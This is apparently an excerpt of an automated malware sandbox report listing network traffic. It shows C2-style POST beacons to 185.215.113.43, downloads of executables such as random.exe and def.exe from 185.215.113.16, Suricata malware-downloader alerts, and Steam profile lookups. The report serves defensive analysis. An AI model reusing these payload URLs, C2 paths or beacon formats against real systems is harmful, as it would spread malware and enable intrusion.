r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49756 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49854 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49887 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49920 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49963 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49963 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]], equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]], equals www.twitter.com (Twitter)
